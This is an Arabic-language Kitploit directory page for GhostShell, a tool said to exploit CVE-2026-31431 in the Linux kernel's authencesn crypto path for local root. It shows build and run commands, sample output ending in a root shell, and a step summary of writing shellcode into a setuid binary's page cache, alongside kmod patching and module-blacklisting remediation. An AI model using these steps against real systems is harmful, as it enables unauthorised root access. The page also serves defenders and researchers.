Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
GhostShell — CVE-2026-31431 — تصعيد الامتيازات المحلية عبر تلف ذاكرة التخزين المؤقت للصفحات في نواة لينكس | Kitploit
أدوات/GitHubGitHub/razvanduda/ghostshell
تصعيد الامتيازاتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالفريق الأحمراستغلال الملفات الثنائية
GitHubrazvanduda/ghostshell

GhostShell

CVE-2026-31431 — تصعيد الامتيازات المحلية عبر تلف ذاكرة التخزين المؤقت للصفحات في نواة لينكس

عرض المستودع
منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

GhostShell

CVE-2026-31431 — تصعيد الامتيازات المحلي عبر تلف ذاكرة التخزين المؤقت للصفحات في نواة لينكس

GhostShell هي أداة لتصعيد الامتيازات المحلي تستغل ثغرة في تطبيق authencesn AEAD للتشفير في نواة لينكس للحصول على شل جذر من حساب مستخدم غير مميز. تقوم الأداة بإتلاف ذاكرة التخزين المؤقت للصفحات في الذاكرة لملف ثنائي setuid-root (مثل /usr/bin/su) عن طريق زرع شيلكود عند نقطة الدخول الخاصة به، ثم تنفيذه — مما يمنح setuid(0) + setgid(0) ويطلق شل /bin/sh بامتيازات مرتفعة. لا يتم تعديل أي ملف على القرص؛ فقط ذاكرة التخزين المؤقت للصفحات في الذاكرة تتأثر.

باختصار: تقوم بتشغيلها كمستخدم عادي، وتُسقطك في شل جذر.

تم اكتشافها والإفصاح عنها بواسطة Theori / Xint. الشرح الكامل: copy.fail


مثال على المخرجات

root@kitploit:~
$ ./ghostshell

  CVE-2026-31431 'Copy Fail'

  Target:       /usr/bin/su
  Size:         63576 bytes
  Entry offset: 0x1a50
  Shellcode:    94 bytes (24 iterations)

  [*] Checking if kernel is vulnerable...
  [+] Kernel IS vulnerable.

  [*] Corrupting page cache of /usr/bin/su with shellcode...
  [*] Patching offset 0x01a50 (24/24) ...

  [*] Verifying page cache corruption...
  [+] Shellcode verified in page cache!

  [*] Executing corrupted setuid binary...
  [*] If successful, you should now have a root shell.
  [*] No trace on disk. Only ghosts in the cache.

# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#

النواة المتأثرة

لينكس 4.14 (أغسطس 2017) حتى النواة التي تم تصحيحها في أبريل 2026.

المعالجة — تصحيح kmod

الإصلاح الموصى به لـ CVE-2026-31431 هو تصحيح حزمة kmod (أدوات وحدات النواة) التي تشحن وحدة التشفير AEAD المعرضة للخطر authencesn. تم إصدار حزم محدّثة تعطّل أو تصحح مسار فك التشفير في المكان splice() من قبل الموزّعين الرئيسيين.

تصحيح سريع (Debian / Ubuntu)

root@kitploit:~
# تحقق من إصدار kmod الحالي
modprobe --version

# التحديث إلى الإصدار المصحح
sudo apt-get update
sudo apt-get install --only-upgrade kmod

# تحقق من التحديث
modprobe --version

تصحيح سريع (RHEL / Fedora / Rocky / Alma)

root@kitploit:~
# تحديث kmod إلى الإصدار المصحح
sudo dnf update kmod

# تحقق
rpm -q kmod

تصحيح سريع (Arch Linux)

root@kitploit:~
sudo pacman -Syu kmod

التحقق من إصلاح النواة

بعد تصحيح kmod، تأكد من أن وحدة authencesn المعرضة للخطر لم تعد قابلة للتحميل أو تم تحديثها:

root@kitploit:~
# محاولة تحميل الوحدة — على الأنظمة المصححة يجب أن تفشل أو تُبلغ عن إصدار مصحح
modinfo authencesn

# بدلاً من ذلك، تحقق من أن النواة قيد التشغيل تتضمن تصحيح أبريل 2026
uname -r   # يجب أن يكون >= إصدار النواة المصحح لتوزيعتك

حل بديل (إذا لم يكن التصحيح ممكنًا فورًا)

إذا لم تتمكن من تحديث kmod فورًا، يمكنك حظر تحميل وحدة التشفير المعرضة للخطر:

root@kitploit:~
# حظر وحدة authencesn
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf

# أيضًا حظر وحدة authenc العامة للاحتياط
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf

# إلغاء تحميلها إذا كانت محمّلة حاليًا (قد يفشل إذا كانت قيد الاستخدام)
sudo modprobe -r authencesn 2>/dev/null

أعد التشغيل بعد التصحيح أو تطبيق الحل البديل لضمان مسح أي إدخالات تالفة في ذاكرة التخزين المؤقت للصفحات.


تم اختباره على

نظام التشغيلالنواة
Ubuntu 24.04 LTS6.17.0-22-generic

⚠️ تم اختبار هذه الأداة فقط على النظام أعلاه. قد تختلف النتائج على التوزيعات أو إصدارات النواة الأخرى.


المتطلبات الأساسية

  • نواة لينكس معرضة للخطر (انظر أعلاه)
  • GCC (أو أي مترجم C)
  • رؤوس UAPI لنواة لينكس (<linux/if_alg.h>) — عادةً ما تكون مضمنة مع linux-libc-dev
  • حساب مستخدم غير مميز (لا حاجة لجذر لتشغيل الأداة)

تثبيت اعتماديات البناء على Ubuntu/Debian:

root@kitploit:~
sudo apt-get update
sudo apt-get install gcc linux-libc-dev

البناء

root@kitploit:~
gcc -Wall -Wextra -o ghostshell ghostshell.c

لا تتطلب مكتبات خارجية.


الاستخدام

اكتشاف الهدف تلقائيًا (يفحص الملفات الثنائية setuid الشائعة مثل su و sudo و passwd):

root@kitploit:~
./ghostshell

تحديد هدف يدويًا:

root@kitploit:~
./ghostshell /usr/bin/sudo

إذا كانت النواة معرضة للخطر، سيتم إسقاطك في شل جذر (#).


كيف تعمل (ملخص)

  1. فحص الثغرة — إنشاء ملف مؤقت، تعديل أول 4 بايتات منه عبر بدائية AEAD، قراءته مرة أخرى للتأكد من تعديل ذاكرة التخزين المؤقت للصفحات.
  2. اختيار الهدف — اكتشاف تلقائي لملف ثنائي setuid-root وتحليل رأس ELF64 للعثور على إزاحة نقطة الدخول _start.
  3. إتلاف ذاكرة التخزين المؤقت للصفحات — كتابة 94 بايت من شيلكود x86-64 عند نقطة الدخول، 4 بايتات لكل استدعاء patch_chunk() (24 تكرارًا)، باستخدام ثغرة فك التشفير في المكان splice() في AF_ALG.
  4. التنفيذ — استدعاء execl() على الملف الثنائي التالف. تقوم النواة بتحميله من ذاكرة التخزين المؤقت للصفحات ويتم تشغيل الشيلكود بامتيازات setuid-root، مما يطلق شل جذر.

التنظيف

الأداة تتلف فقط ذاكرة التخزين المؤقت للصفحات في الذاكرة. إعادة تشغيل بسيطة تمسحها بالكامل.

لإسقاط ذاكرات التخزين المؤقت دون إعادة تشغيل:

root@kitploit:~
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

إذا تمت كتابة الصفحات المتسخة مرة أخرى إلى القرص (غير محتمل ولكن ممكن)، أعد تثبيت الحزمة المتأثرة:

root@kitploit:~
sudo apt-get install --reinstall util-linux   # لـ /usr/bin/su

إخلاء مسؤولية

هذه الأداة مقدمة لأغراض البحث الأمني التعليمي والمصرح به فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.


الترخيص

هذا المشروع مرخص بموجب رخصة MIT.

يُمنح الإذن، مجانًا، لأي شخص يحصل على نسخة من هذا البرنامج وملفات التوثيق المرتبطة به ("البرنامج")، للتعامل مع البرنامج دون قيود، بما في ذلك دون حصر حقوق الاستخدام والنسخ والتعديل والدمج والنشر والتوزيع والترخيص و/أو بيع نسخ من البرنامج، والسماح للأشخاص الذين يُزودون بالبرنامج بالقيام بذلك، مع مراعاة الشروط التالية:

يجب تضمين إشعار حقوق النشر أعلاه وإشعار الإذن هذا في جميع النسخ أو الأجزاء الجوهرية من البرنامج.

يُقدم البرنامج "كما هو"، دون أي ضمان من أي نوع، صريح أو ضمني، بما في ذلك دون حصر ضمانات القابلية للتسويق والملاءمة لغرض معين وعدم الانتهاك. في أي حال من الأحوال لا يكون المؤلفون أو أصحاب حقوق النشر مسؤولين عن أي مطالبة أو أضرار أو مسؤولية أخرى، سواء في إجراء عقد أو ضرر أو غير ذلك، تنشأ عن أو من أو فيما يتعلق بالبرنامج أو الاستخدام أو التعاملات الأخرى في البرنامج.

تنزيل الأداة